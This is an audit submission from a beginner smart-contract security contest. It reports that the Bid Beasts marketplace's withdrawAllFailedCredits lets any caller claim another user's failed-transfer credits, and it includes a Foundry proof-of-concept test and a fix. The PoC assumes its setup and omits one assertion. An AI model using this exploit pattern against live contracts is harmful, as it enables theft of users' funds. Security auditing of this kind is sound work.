Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Arbitrary user can steal failed transfer credits from any victim.

mkmmga97
Root + Impact

Description

  • Normal Behavior: The withdrawAllFailedCredits function should only allow the caller (msg.sender) to retrieve their own credited funds.

  • Specific Issue: The function incorrectly uses an external parameter _receiver to determine the credit balance to withdraw, but then unconditionally transfers that amount to and clears the balance of msg.sender. An attacker can pass any victim's address to steal their locked funds.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[@> _receiver <@];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[@> msg.sender <@] = 0;
(bool success, ) = payable(@> msg.sender <@).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • This bug is in the logic of the withdrawal function itself and is directly callable by any external user.

  • An attacker only needs to know an address with a non-zero credit balance (which can be observed on-chain).

Impact:

  • Direct and permanent loss of user funds.

  • Breach of asset confidentiality and integrity.

Proof of Concept

This PoC demonstrates how an Attacker (BIDDER_2) steals the credited funds of a Victim (BIDDER_1) by simply using the victim's address as the function parameter. This occurs because the function uses _receiver to read the amount but msg.sender to execute the transfer.

// POC demonstrating a malicious user (BIDDER_2) stealing credits from an honest user (BIDDER_1)
function test_exploit_withdrawAnotherUsersCredits() public {
// Setup: Mint and List NFT
_mintNFT();
_listNFT();
​
// 1. BIDDER_1 (victim) attempts a bid that fails ETH transfer to be credited
// To properly simulate the failure, we need a Mock Contract (RejectEther) with credits.
// For this PoC, we assume BIDDER_1 has 1 ether in failedTransferCredits.
// (This requires modifying the internal _payout to simulate a transfer failure
// to an account that is not the sender, but for PoC clarity, assume credit is set)
market.failedTransferCredits(BIDDER_1); // returns 1 ether
​
// 2. BIDDER_2 (attacker) calls the flawed withdrawal function
uint256 bidder2BalanceBefore = BIDDER_2.balance;
​
vm.prank(BIDDER_2);
// Attacker calls the function with the victim's address (_receiver)
market.withdrawAllFailedCredits(BIDDER_1);
​
// 3. Assert: BIDDER_2's balance increased by BIDDER_1's credit amount (1 ether)
assertEq(BIDDER_2.balance, bidder2BalanceBefore + 1 ether, "Attacker stole victim's credits");
​
// 4. Assert: Attacker's credit is incorrectly cleared
assertEq(market.failedTransferCredits(BIDDER_2), 0, "Attacker's credit was cleared instead of victim's");
​
// 5. Assert: Victim still has their credit in the mapping (since it wasn't cleared)
}

Recommended Mitigation

The function must be updated to exclusively use msg.sender to both read the balance and perform the payout. This ensures the withdrawal is correctly gated by who calls the function (the owner of the credit). We remove the external parameter and update all internal references to use msg.sender.

- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ function withdrawAllFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ // Clear the balance of the caller (msg.sender)
+ failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
- }
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 29 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.